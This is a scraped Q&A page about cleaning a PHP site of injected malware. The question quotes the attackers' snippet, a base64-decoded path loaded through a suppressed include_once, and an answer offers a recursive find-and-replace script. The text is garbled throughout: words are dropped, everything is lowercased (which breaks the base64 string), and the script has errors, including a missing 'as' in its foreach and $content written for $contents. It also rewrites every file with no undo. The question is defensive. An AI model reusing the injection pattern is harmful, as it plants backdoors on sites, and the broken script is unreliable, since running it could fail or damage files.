php - Code to search for a specific code any file in a directory and sub directory -


ok pretty new php know can read directorys , files.

i have been struggling malware problem on 1 of our sites , need write script search on host space.

the code hackers putting in files

*/ $duoiek = base64_decode("l2hvbwuvdxnlcnmvd2vil2ixnjqzl3nslnrozwnozxnzl3b1ymxpy19odg1sl01lzgnvdxj0qmfja3vwb2n0mjawny9nzwrjb3vydejhy2t1cg9jddiwmdctmi9immigy3vzdg9tzxivqnviymxlcg9zdcbcywnrihvwl3b1ymxpy19odg1sl0jhy2t1chmvtwvkawfzdwzhy2ugmjawns9izwxwigfuzcbkb2n1bwvudgf0aw9ul2phdmegyxbpl0phdmfbuekvy29tl21lzglhc3vyzmfjzs9kyxrhdhlwzxmvc2vhcmnoaw5nl2nsyxnzlxvzzs90c2rlby5waha="); @include_once $duoiek;/* */?>

i have no idea google blocks site when shows up.

i have download files search in dreamweaver replace crap space , put back.

i need script detect before google does.

if 1 can give me pointers great

i sure problem face or later.

pure php solution find , replace string provided. alternatively, can obtain files have been modified. note: if use code, there no undo option, you're using on own risk.

$dir = '/your_dir/'; $searchstring = '*/ $duoiek = base64_decode("l2hvbwuvdxnlcnmvd2vil2ixnjqzl3nslnrozwnozxnzl3b1ymxpy19odg1sl01lzgnvdxj0qmfja3vwb2n0mjawny9nzwrjb3vydejhy2t1cg9jddiwmdctmi9immigy3vzdg9tzxivqnviymxlcg9zdcbcywnrihvwl3b1ymxpy19odg1sl0jhy2t1chmvtwvkawfzdwzhy2ugmjawns9izwxwigfuzcbkb2n1bwvudgf0aw9ul2phdmegyxbpl0phdmfbuekvy29tl21lzglhc3vyzmfjzs9kyxrhdhlwzxmvc2vhcmnoaw5nl2nsyxnzlxvzzs90c2rlby5waha="); @include_once $duoiek;/* */?>'  $iterator = new recursivedirectoryiterator($dir);  foreach (new recursiveiteratoriterator($iterator) $filename => $cur)  {     // search , replace      $contents = file_get_contents($filename);        $contents = str_replace($searchstring, ' ', $content);       file_put_contents($filename, $contents);      // alternatively, can (instead of search , replace)      if(strpos($contents, $searchstring) !== false)     {         $infected[] = $filename; // gives array gives paths files contain injected code.     } } 

you can run script either browser or command line. i'm not saying best option tho.


Comments

Popular posts from this blog

c# - how to write client side events functions for the combobox items -

exception - Python, pyPdf OCR error: pyPdf.utils.PdfReadError: EOF marker not found -